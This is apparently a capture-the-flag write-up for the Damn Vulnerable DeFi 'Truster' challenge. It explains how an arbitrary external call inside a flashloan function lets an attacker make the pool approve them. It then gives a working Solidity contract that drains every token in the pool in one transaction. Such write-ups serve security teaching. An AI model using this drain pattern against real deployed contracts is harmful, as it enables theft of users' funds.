Skip to content

Latest commit

 

History

History
42 lines (35 loc) · 1.7 KB

File metadata and controls

42 lines (35 loc) · 1.7 KB

More and more lending pools are offering flashloans. In this case, a new pool has launched that is offering flashloans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, rescue all funds in the pool executing a single transaction. Deposit the funds into the designated recovery account.

Analysis

Observe that the line target.functionCall(data) inside TrusterLenderPool.flashLoan allows us to invoke any function from any address. We can use it to call DamnValuableToken.approve(<our_addr>, 1000000 ether), which allows us to use DamnValuableToken.transferFrom(address(pool), <our_addr>, 1000000 ether) to drain all of the tokens from the pool.

contract TrusterLenderPool is ReentrancyGuard {
    // [...]
    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }
}

Solution

Full solution can be found in Truster.t.sol.

contract TrusterSolution {
    constructor(TrusterLenderPool pool, DamnValuableToken token, address recovery) {
        pool.flashLoan(0, address(0), address(token), abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max));
        token.transferFrom(address(pool), recovery, token.balanceOf(address(pool)));
    }
}